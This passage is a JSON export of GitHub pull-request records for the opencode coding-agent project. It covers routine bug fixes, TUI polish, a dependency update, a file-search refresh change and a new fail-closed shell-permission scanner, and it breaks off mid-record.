        "createdAt": "2026-08-13T13:09:41Z",
        "updatedAt": "2026-08-13T13:10:44Z",
        "timestamp": "2026-08-13T13:10:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "DomeT99",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42326",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): accumulate step tokens instead of overwriting",
        "text": "### Issue for this PR Closes #42324 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In multi-step tool-call messages, `processor.ts` overwrites `assistantMessage.tokens` on every `step-finish` event, so only the last step's output, reasoning, and cache.write survive — while `cost` already accumulates with `+=`. This change accumulates the additive fields (output, reasoning, cache.write) across steps. `input` and `cache.read` keep the final step's values, because the final step's request already includes all prior steps and accumulating those would double-count. `total` keeps the final step's value as before. This fixes under-reported context metrics and delayed auto-compaction for multi-step messages. ### How did you verify your code works? - Added a two-step test in `packages/opencode/test/session/processor-effect.test.ts` with distinct per-step usage, asserting the accumulated message tokens. - `bun typecheck` passes. - `bun test --timeout 30000 test/session/processor-effect.test.ts` passes (one pre-existing failure unrelated to this change, reproducible on clean dev). - `bun test --timeout 30000 test/session/compaction.test.ts` passes. ### Screenshots / recordings _This is not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42326",
        "createdAt": "2026-08-13T13:19:04Z",
        "updatedAt": "2026-08-13T14:21:28Z",
        "timestamp": "2026-08-13T14:21:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "gold-beyond",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42327",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): register direct session projects",
        "text": "### Issue for this PR Closes #42265 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Direct visits to `/:dir/session` in the new layout created a draft without adding the directory to the current server's project state. Register and touch the directory before creating the draft, matching the existing new-session entry points. The regression test starts with empty project state, opens the encoded directory route, and verifies both the draft redirect and the persisted project/last-project state. ### How did you verify your code works? - `bun run typecheck` - `bun run typecheck:e2e` - `bun run test:unit` (722 passed) - `bun run test:browser` (41 passed) - `bun run test:e2e -- e2e/regression/direct-new-session.spec.ts` (1 passed) - `bun run build` - Repository pre-push monorepo typecheck (30 tasks passed) ### Screenshots / recordings Not applicable; this changes route state registration without changing the UI. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42327",
        "createdAt": "2026-08-13T13:21:21Z",
        "updatedAt": "2026-08-13T13:21:22Z",
        "timestamp": "2026-08-13T13:21:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "dajiaohuang",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42328",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): size update pill to label",
        "text": "### Issue for this PR Closes #42232 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The titlebar update pill used a fixed 68px expanded width, leaving excess space around short translations such as Chinese and constraining longer labels. Size the expanded pill from its label's intrinsic width while preserving the 20px collapsed circle, right-aligned icon, focus/hover animation, and a 192px maximum for unusually long translations. ### How did you verify your code works? - `bun run typecheck` - `bun run test:unit` (722 passed) - `bun run test:browser` (41 passed) - `bun run build` - Repository pre-push monorepo typecheck (30 tasks passed) - Browser layout check: 20px collapsed; 51px Chinese, 65.5px English, and 94.52px French when expanded ### Screenshots / recordings Before, from the issue report: ![Chinese update pill with fixed-width spacing](https://github.com/user-attachments/assets/721f7745-7fa2-4c06-98ab-3639213a2d4e) After the fix, the focused Chinese pill measures 51px instead of the fixed 68px. English and French expand to 65.5px and 94.52px respectively, while every collapsed pill remains 20px. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42328",
        "createdAt": "2026-08-13T13:21:24Z",
        "updatedAt": "2026-08-13T13:22:31Z",
        "timestamp": "2026-08-13T13:22:31Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "dajiaohuang",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42330",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): refresh terminal size before resize",
        "text": "## Summary - refresh cached TTY dimensions before OpenTUI reads them - install the refresh listener ahead of the OpenTUI `SIGWINCH` listener - remove the listener with the TUI scope ## Testing - `bun test` in `packages/tui` - `bun typecheck` in `packages/tui` - tmux conversation resize smoke test: 68 -> 119 -> 68 columns Fixes #42225",
        "url": "https://github.com/anomalyco/opencode/pull/42330",
        "createdAt": "2026-08-13T13:29:26Z",
        "updatedAt": "2026-08-13T15:47:51Z",
        "timestamp": "2026-08-13T15:47:51Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [
          "contributor"
        ],
        "author": "fancive",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42331",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): enable directory auto-accept settings",
        "text": "### Issue for this PR Fixes #31137 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? V2 Settings already receives a session ID for active sessions, but draft and directory-backed new-session routes have no session ID even though the layout knows their active directory. That leaves the auto-accept switch disabled in those routes. This passes the active route directory into General Settings and uses the existing directory-scoped auto-accept API when there is no session ID. Existing session behavior is unchanged. Settings with no active directory remains disabled and sends no permission request. This does not add a global default or change auto-accept persistence or precedence. #39328 proposes that broader behavior separately. ### How did you verify your code works? - `PLAYWRIGHT_WORKERS=1 bun run test:e2e e2e/regression/remote-session-settings.spec.ts --grep \"draft settings use directory auto-accept|settings without active scope keep auto-accept disabled|session settings use the remote server context\"` — 3 passed - `bun run typecheck:e2e` — passed - `bun run build` — passed - Repository pre-push `bun typecheck` with Bun 1.3.14 — 30/30 packages passed The remote draft regression verifies the switch enables, toggles, and sends the permission request only to the correct server and directory. The no-active-scope regression verifies the switch remains disabled and sends no permission request. ### Screenshots / recordings No visual styling changes. The new Playwright coverage exercises the rendered Settings switch and its before/after enabled state; manual Chromium QA also covered 768×900 and 1280×720. **Before** <img width=\"1280\" height=\"720\" alt=\"draft-1280x720-before\" src=\"https://github.com/user-attachments/assets/24229894-e1b1-4914-9f0d-65ab20ef20db\" /> **After** <img width=\"1280\" height=\"720\" alt=\"draft-1280x720-after\" src=\"https://github.com/user-attachments/assets/efcff8c5-39b3-479c-b913-80b7c3cd292e\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42331",
        "createdAt": "2026-08-13T13:58:06Z",
        "updatedAt": "2026-08-13T14:18:20Z",
        "timestamp": "2026-08-13T14:18:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "michaelbuckner",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42337",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(skills): Update global config path in documentation",
        "text": "Clarified the global config path to include both JSON and JSONC formats. ### Issue for this PR Closes #32717 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Fixes an issue where AI agents almost always miss out on looking for opencode.jsonc file and assumes the global config file is missing ### How did you verify your code works? Gave a prompt \"use customize-opencode skill and tell me where is global config\" and I got response: I'll load the skill. →Skill \"customize-opencode\" Global config lives at: - ~/.config/opencode/opencode.json (or opencode.jsonc) - On your machine: C:\\Users\\Aditya\\.config\\opencode\\opencode.json Note it's not ~/.opencode/. Other global items sit alongside it: - Agents: ~/.config/opencode/agent/<name>.md - Commands: ~/.config/opencode/command/<name>.md - Skills: ~/.config/opencode/skill/<name>/SKILL.md Project config (./opencode.json or .opencode/opencode.json) deep-merges over global. ### Screenshots / recordings <img width=\"2560\" height=\"1524\" alt=\"image\" src=\"https://github.com/user-attachments/assets/def8a86a-6562-4fda-baf3-61e57fe08acf\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42337",
        "createdAt": "2026-08-13T14:26:19Z",
        "updatedAt": "2026-08-13T16:27:30Z",
        "timestamp": "2026-08-13T16:27:30Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "TechyAditya",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42339",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): keep shell commands full width",
        "text": "## Summary - show a differing shell working directory as a display-only `cd <path> &&` prefix - keep the running spinner and completed `$` prompt in the same command slot - render the full shell invocation as one wrapping text flow instead of narrow prompt and command columns ## Checks - `bun typecheck` (`packages/tui`) - `bun test test/mini/entry.body.test.ts test/mini/scrollback.surface.test.ts` (`packages/tui`) - rendered in the real V2 tool card with a wrapped multi-line command Requested by: @jlongster (James Long via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42339",
        "createdAt": "2026-08-13T14:32:59Z",
        "updatedAt": "2026-08-13T17:47:21Z",
        "timestamp": "2026-08-13T17:47:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42340",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(cli): stop `run` from sleeping through an exhausted quota",
        "text": "### Issue for this PR Closes #40747 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `opencode run` produces no output and never returns when a model's quota is exhausted. It isn't wedged, it's sleeping. The quota error is classified as retryable, and `delay()` honors the provider's `retry-after`, which for a monthly limit is days. While the schedule sleeps `halt()` never runs, so no `session.error` and no `idle` are published, and `loop()` in `cli/cmd/run.ts` breaks only on `idle` and has no branch for `retry` status. The TUI is unaffected because it shows the retry in its footer; a headless run has nowhere to show it. I left the retry timing alone — honoring long `retry-after` values was deliberate in 0a2d7af17, and waiting out a short rate limit is useful. Only the non-interactive loop changes: - print the retry status, which today prints nothing at all in headless runs - exit non-zero when `action.reason` is `free_tier_limit` / `account_rate_limit`; transient retries (429/5xx) carry no `action.reason` and still wait and retry as before - abort the session before returning, because breaking out of the loop isn't enough to end the process — the sleeping schedule holds the in-process server open, and without the abort the CLI has decided to stop but still has to be killed ### How did you verify your code works? New test in `test/cli/run/run-process.test.ts`: the test provider returns a 429 carrying `GoUsageLimitError` with `retry-after: 345600`, and the run must exit non-zero and mention the limit on stderr. On unmodified `dev` it hangs until the harness kills it at 30 s; with this change it passes in ~2 s. Setting that header needed an optional `headers` argument on `httpError()` / `llm.error()` in the test harness — `retry-after` drives the delay and there was no way to set it before. `bun test test/session/retry.test.ts test/cli/run/` → 250 pass, 5 skip, 0 fail. `tsc --noEmit` → matches the `dev` baseline (12 pre-existing errors in `packages/tui`). ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42340",
        "createdAt": "2026-08-13T14:42:25Z",
        "updatedAt": "2026-08-13T14:42:25Z",
        "timestamp": "2026-08-13T14:42:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "DaisukeYoda",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42344",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): disclose truncated tab titles",
        "text": "## What Keep truncated session tab titles stationary and disclose the full title in a delayed hover tooltip instead of scrolling it as a marquee. The tooltip appears only when the title exceeds its available cells, stays within the terminal bounds, and works in both the vertical session rail and horizontal tab strip. ## Before / After **Before:** Hovering a truncated tab for 600 ms started a continuously looping marquee. The tab label changed beneath the pointer and could keep moving independently of the user scanning the tab strip. **After:** The truncated title remains a stable, softly faded landmark. A deliberate 600 ms hover opens the full title beside or below the tab, and leaving, pressing, dragging, switching layout, or removing the tab dismisses it immediately. ## How - `packages/tui/src/component/session-tabs.tsx` replaces the marquee timer and offset state with overflow-only delayed disclosure state. - Tooltip placement opens into available space for the vertical rail and anchors to the hovered tab in the horizontal strip, with terminal-bound fallback alignment. - The retired marquee utility and its tests are removed; focused disclosure tests cover delay, overflow gating, and immediate dismissal. ## Scope This changes only pointer-hover disclosure for truncated TUI session tab titles. Tab sizing, keyboard navigation, close controls, drag ordering, and the web titlebar are unchanged. ## Testing - `bun run test test/component/session-tabs-title-disclosure.test.ts test/context/session-tabs-model.test.ts` from `packages/tui` (33 passing) - `bun typecheck` from `packages/tui` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (34 successful tasks) - OpenCode Drive storybook run in a real PTY at 100x40, verifying delayed hover disclosure and immediate dismissal in both orientations ## Demo Isolated OpenCode Drive `session-tabs` story using the production `SessionTabs` component. The pointer hovers a truncated title in the vertical rail, then repeats the interaction in the horizontal strip. https://github.com/user-attachments/assets/bc218d03-5607-48a7-bc36-a9ba0ca55b24",
        "url": "https://github.com/anomalyco/opencode/pull/42344",
        "createdAt": "2026-08-13T15:21:40Z",
        "updatedAt": "2026-08-13T15:23:20Z",
        "timestamp": "2026-08-13T15:23:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42345",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): transition vertical tab states",
        "text": "## What Smoothly transition every visual state in the vertical session sidebar. Selecting an unread tab now eases its background, text, shortcut number, unread glow, and separator hue back to the active/read state instead of snapping between colors. ## Before / After **Before:** selecting an unread or failed tab cleared its unread state immediately. The pulse renderer faded its background glow, but the surrounding tab colors were derived directly from booleans and jumped to their destination in one frame. **After:** each vertical tab owns one interruptible 140 ms visual-state tween. Rapid selection, hover, activity, error, and attention changes continue from the current rendered state, while the existing pulse fade remains coordinated with them. ## How - `packages/tui/src/component/session-tabs.tsx` maps selection, hover, activity, unread glow, error, and attention into one animatable visual state per vertical tab. - Tab backgrounds, foregrounds, shortcut colors, title glow intensity, and separator hues blend from that shared state. - The horizontal tab strip is unchanged. ## Scope This only changes vertical sidebar state transitions. It does not change unread semantics, pulse timing, tab layout, or horizontal tab behavior. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/component/tab-pulse.test.tsx` from `packages/tui` (6 passed) - Full repository pre-push typecheck (32 packages passed) - OpenCode Drive capture against this development checkout, using the built-in session-tabs fixture ## Demo The fixture runs an inactive tab to completion, then selects between tabs to show unread glow and all related colors transitioning out and reversing cleanly. https://github.com/user-attachments/assets/63880014-dd9f-457d-bb5f-da97ba9d8f93",
        "url": "https://github.com/anomalyco/opencode/pull/42345",
        "createdAt": "2026-08-13T15:27:18Z",
        "updatedAt": "2026-08-13T15:31:05Z",
        "timestamp": "2026-08-13T15:31:05Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42346",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): stop disabled tab pulse rendering",
        "text": "## What Prevent disabled tab pulses from keeping the OpenTUI renderer live after their session becomes active. Enabled running sweeps, breathing, flashes, and completion animations are unchanged. ## Before / After **Before** 1. A tab pulse mounted with animations disabled. 2. Its session later transitioned to active. 3. `PulseState.live` returned `true` from `active` without considering `enabled`. 4. The invisible pulse propagated liveness to the renderer root, producing continuous frames despite no visual changes. In the reproduced TUI, four disabled pulses held the renderer at 53–57 FPS while native stats reported zero changed cells. **After** `PulseState.live` is gated by `enabled`. A disabled pulse remains non-live through later activity transitions, so it cannot start an invisible render loop. ## How - `packages/tui/src/component/tab-pulse.tsx`: require the pulse to be enabled before any active, breathing, or finite envelope state contributes liveness. - `packages/tui/test/component/tab-pulse.test.tsx`: mount a disabled pulse, transition it to active, and assert root liveness remains zero. ## Scope This PR only fixes disabled-animation liveness. It does not change the frame rate or appearance of enabled animations, and it does not address full-root rendering costs while legitimate animations are active. ## Testing - `cd packages/tui && bun run test test/component/tab-pulse.test.tsx` — 7 passed - `cd packages/tui && bun typecheck` - Repository pre-push hook: all 34 package typechecks passed - Diagnostic TUI verification: `rootLiveCount` dropped from 4 to 0 and frame count stopped advancing after hydration when animations were disabled",
        "url": "https://github.com/anomalyco/opencode/pull/42346",
        "createdAt": "2026-08-13T15:32:25Z",
        "updatedAt": "2026-08-13T15:32:35Z",
        "timestamp": "2026-08-13T15:32:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42347",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "chore: update ai gateway provider",
        "text": "## Summary - update `ai-gateway-provider` from 3.1.2 to 3.2.0 in both `packages/core` and `packages/opencode` - refresh the lockfile, including the provider's updated optional AI SDK integrations - remain on the AI SDK 6-compatible provider line; 4.x requires AI SDK 7 ## Upstream changes 3.2.0 adds: - `byokAlias` and `zdr` universal-endpoint options - current `cf-aig-cache-ttl` and `cf-aig-skip-cache` headers, replacing deprecated cache header names - opt-in resumable streaming for the Workers binding/run path (still marked experimental upstream) - shared provider routing and `cf-aig-*` header construction with the Workers AI Gateway delegate - the corrected `AiGatewayRetries` type name, while retaining `AiGatewayReties` as a deprecated alias The intervening 3.1.3 release only updated dependencies and replaced the package's build tool. Existing behavior is otherwise unchanged upstream. ## Compatibility 3.2.0 keeps the same peer dependency majors as 3.1.2: AI SDK 6, `@ai-sdk/provider` 3, `@ai-sdk/provider-utils` 4, and `@ai-sdk/openai-compatible` 2. No OpenCode call-site changes are required. ## Validation - `bun install --frozen-lockfile` - `bun typecheck` in `packages/core` - `bun test test/provider/provider.test.ts` in `packages/opencode` (100 passed, including Cloudflare AI Gateway coverage) Additional notes: - the focused `packages/core` Cloudflare provider test currently fails during module initialization, before any test executes, with `Cannot access 'CloudflareAIGatewayPlugin' before initialization`; it mocks the upgraded package and does not exercise its runtime - `bun typecheck` in `packages/opencode` did not finish within a five-minute bounded run on the shared host Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42347",
        "createdAt": "2026-08-13T15:42:42Z",
        "updatedAt": "2026-08-13T15:42:51Z",
        "timestamp": "2026-08-13T15:42:51Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42348",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): refresh fallback file search",
        "text": "## What Keep the ripgrep-backed filename index fresh without restoring a recursive project filesystem watch. Fallback file search now serves its current index immediately and starts at most one background refresh when the last completed scan is 10 seconds old. A completed refresh atomically replaces the prior index. ## Before / After **Before** The fallback ran ripgrep once when a Location started. Files created, deleted, or renamed afterward remained absent or stale for the lifetime of that Location service. A recursive root watcher can detect those changes, but that topology was deliberately removed in #41096 because large projects consume an unbounded number of native watches. It is also broader than the bounded search scan for home and aggregate Locations. **After** A search always reads the current index without waiting. If that index is stale, the same request starts one scoped background ripgrep scan. Requests arriving during that scan keep using the prior complete index and do not start more scans. The next request after completion sees the refreshed paths. The initial scan retains the existing incremental behavior, so file search remains usable while a Location first indexes. ## How - `packages/core/src/filesystem/search.ts` tracks refresh completion time and one in-flight scan inside the existing Location-scoped search module. - Initial scan entries remain visible incrementally. - Later scans build a private file/directory index and publish it atomically on completion. - The implementation adds no watcher dependency, protocol change, or client-specific behavior. Desktop, web, and TUI continue consuming `GET /api/fs/find` unchanged. - `packages/core/test/filesystem/search.test.ts` verifies bounded refresh, non-blocking stale reads, atomic replacement, and scan deduplication with `TestClock` and explicit scan gates. ## Scope - This provides bounded eventual freshness for arbitrary external changes; it does not promise instantaneous updates. - This does not add exact create/delete/move hints from OpenCode-owned file mutations. - FFF-backed VCS Locations retain their existing native indexing behavior. ## Testing - `cd packages/core && bun run test test/filesystem/search.test.ts` - `cd packages/core && bun typecheck` - Repository pre-push typecheck: 34 tasks passed - `git diff --check` ## Flow ```mermaid sequenceDiagram participant UI as Desktop / Web / TUI participant Search as FileSystemSearch participant RG as Ripgrep UI->>Search: GET /api/fs/find Search-->>UI: Current fuzzy results alt Last scan is stale and no refresh is running Search->>RG: Start background scan UI->>Search: Next query Search-->>UI: Prior complete results RG-->>Search: Complete updated index Search->>Search: Atomically replace index UI->>Search: Subsequent query Search-->>UI: Refreshed results end ```",
        "url": "https://github.com/anomalyco/opencode/pull/42348",
        "createdAt": "2026-08-13T15:52:02Z",
        "updatedAt": "2026-08-13T16:13:33Z",
        "timestamp": "2026-08-13T16:13:33Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42351",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(core): add portable shell permission scanner",
        "text": "## What Replace Core's tree-sitter Bash and PowerShell permission parsing with a dependency-free, fail-closed scanner. This removes the tree-sitter runtime, grammar packages, WASM assets, asset staging, and parser environment variables used by Core shell-permission parsing. The scanner is 10.5 KB minified / 3.8 KB gzip and is bundled into published Core artifacts. ## Before / After **Before:** shell permission analysis initialized tree-sitter at runtime and depended on staged WASM assets. Unsupported syntax could not carry an explicit opaque permission boundary through every API and UI surface. **After:** supported Bash, zsh, and PowerShell command positions produce reusable command resources. Unsupported, dynamic, or uncertain syntax produces one opaque request, never a reusable save, preserves configured asks and denies, and conservatively requires external-directory authorization because it may conceal a directory change. ## Measurements | Metric | Before: tree-sitter | After: portable scanner | Change | | --- | ---: | ---: | ---: | | Core shell-parser assets | 2,569,493 bytes | 10,502-byte minified scanner bundle | 99.6% smaller | | Gzipped scanner bundle | n/a | 3,765 bytes | n/a | | Bash parity throughput | 69,171 scans/sec | 148,581 scans/sec | 2.15x faster | | Current scanner microbenchmark | n/a | 547,079 scans/sec | Scanner-only measurement | | Core shell-parser dependencies | 3 distinct packages | 0 | Removed from Core parsing | | Core parser shim files | 3 | 0 | Removed | | Runtime parser initialization | WASM loading and initialization | None | Removed | | Scanner tests | No portable-scanner suite | 570 tests / 860 assertions | Added | | Shell execution conformance | No execution oracle | 9,825 generated shell runs / 13,870 dispatches | Zero omissions | | PowerShell AST conformance | No official-parser oracle | 2,684 inputs / 1,934 supported scans | Zero omissions | The 2.15x throughput result is the apples-to-apples Bash parity corpus comparison. The 547,079 scans/sec result is the median of seven complete invocations of the current nine-run scanner benchmark and is reported separately to avoid comparing different harnesses. Parser asset size is raw bytes; the 3.8 KB scanner gzip size is included only as an additional distribution reference. OpenTUI's separate tree-sitter runtime remains for TUI syntax highlighting. ## How - `packages/shell-scan` implements bounded Bash/zsh and PowerShell scanners with recursive command-substitution handling and explicit opaque reasons. - `packages/core/src/shell/parse.ts` adapts scanner output into command resources, reusable prefixes, and directory authorization boundaries. - `packages/core/src/permission.ts` evaluates opaque requests only against safe blanket rules while preserving scoped configured asks and denies. - `packages/core/src/tool/plugin/shell.ts` forwards opaque state, removes reusable saves, and asserts wildcard external-directory access for uncertain directories. - Protocol, server, client, ACP, app, and generated surfaces forward and render opaque requests consistently. - Core's build bundles the private scanner package into `dist`, so published Core has no scanner runtime dependency. - Core shell-permission tree-sitter dependencies and parser assets are removed. TUI's independent tree-sitter runtime and Bash grammar remain for syntax highlighting. ```mermaid flowchart TD A[Shell tool input] --> B{Portable scanner} B -->|Supported syntax| C[Command resources and known directories] B -->|Dynamic or uncertain| D[Opaque command resource] C --> E[Normal permission evaluation] D --> F[No reusable save] D --> G[Scoped deny and ask preservation] D --> H[Wildcard external-directory check] E --> I[Execute after authorization] F --> I G --> I H --> I ``` ## Scope The scanner identifies shell-language command positions for supported Bash, zsh, and PowerShell syntax. Behavior delegated to an allowed external program, including package scripts, plugins, makefiles, interpreter files, and remote commands, remains that program's permission boundary. Unsupported or uncertain syntax intentionally fails closed as opaque. This PR does not replace the TUI's tree-sitter grammar used for syntax highlighting. ## Testing - `packages/shell-scan`: 570 tests, 860 assertions; typecheck passed. - `packages/core`: 54 focused shell parser, permission, and shell tool tests; typecheck and production build passed. - `packages/cli`: 10 focused ACP and node-asset tests; typecheck passed. - Protocol, Schema, Server, App, Client generation, and full repository typechecks passed. - Bash 5.3, system Bash 3.2, and zsh 5.9 execution oracle: 3,275 programs per shell, 13,870 observed fake-command dispatches, zero omissions. - PowerShell 7.3 official AST oracle: 2,684 inputs, 1,934 supported scans, zero omissions. - Windows CI runs the PowerShell oracle under both PowerShell 7 and Windows PowerShell 5.1 even when an earlier unit-test step fails. - Packed Core artifact contains the scanner implementation with no `@opencode-ai/shell-scan` runtime dependency. - Full push-hook repository typecheck: 35 packages passed.",
        "url": "https://github.com/anomalyco/opencode/pull/42351",
        "createdAt": "2026-08-13T16:08:42Z",
        "updatedAt": "2026-08-13T16:27:29Z",
        "timestamp": "2026-08-13T16:27:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42352",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs(ecosystem): add opencode-obvious-grid plugin",
        "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? [Opencode Obvious Grid](https://github.com/ray062/opencode-obvious-grid) Adds opencode-obvious-grid to the Plugins table — a self-contained very visible and bold status-page plugin (aggregate view of every opencode session tokens/cost/graphs, ntfy + alarm notifications). Published on npm, cross-platform (WSL/Linux/macOS/Windows). ### How did you verify your code works? The added line matches the surrounding table's column alignment; no other changes in the diff. ### Screenshots / recordings <img width=\"3828\" height=\"2328\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ceec97cc-e736-4ed1-be40-3045f9a1fb7c\" /> <img width=\"3817\" height=\"2385\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b13ab366-e59a-4dbc-9ba4-ff203adb7964\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42352",
        "createdAt": "2026-08-13T16:09:54Z",
        "updatedAt": "2026-08-13T16:09:54Z",
        "timestamp": "2026-08-13T16:09:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "ray062",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42353",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): prototype missing location recovery",
        "text": "## What Add a persistent recovery surface when a session's location cannot initialize. The transcript remains readable, the durable model identity remains visible in existing message chrome, and the normal composer is replaced with a focused `Choose directory` action using the same question-panel pattern as permissions. ## Before / After **Before** 1. A session's directory is deleted. 2. Location-scoped reads fail. 3. The durable session and transcript still exist, but the TUI presents secondary symptoms such as an unavailable model. 4. The user has no clear recovery action in the composer. **After** 1. The session route retains the failed location synchronization state. 2. The transcript remains mounted. 3. The composer is replaced with `Session location unavailable`, the abbreviated path, and `Choose directory`. 4. The action opens the existing `Move session` dialog, scoped to cataloged directories for the same project. 5. An unavailable current directory is not synthesized into the picker. 6. A successful destination sync clears the recovery state and restores the composer. ## How - `packages/tui/src/context/location.tsx` retains the latest location synchronization error and clears it before each retry. - `packages/tui/src/routes/session/permission.tsx` exposes the existing question-panel shell as `SessionQuestion` without changing permission behavior. - `packages/tui/src/routes/session/location-missing.tsx` renders the recovery prompt through that shared shell. - `packages/tui/src/component/dialog-move-session.tsx` treats the project directory catalog as authoritative and flattens category headers while searching. - Storybook mounts the production recovery panel and move dialog with fixture directories. ## Scope - The client currently knows only that location initialization failed. It cannot prove the directory is missing rather than config, plugin, or catalog initialization failing. Typed server-side location status remains follow-up work. - This PR does not fix orphaned-session move semantics, absolute 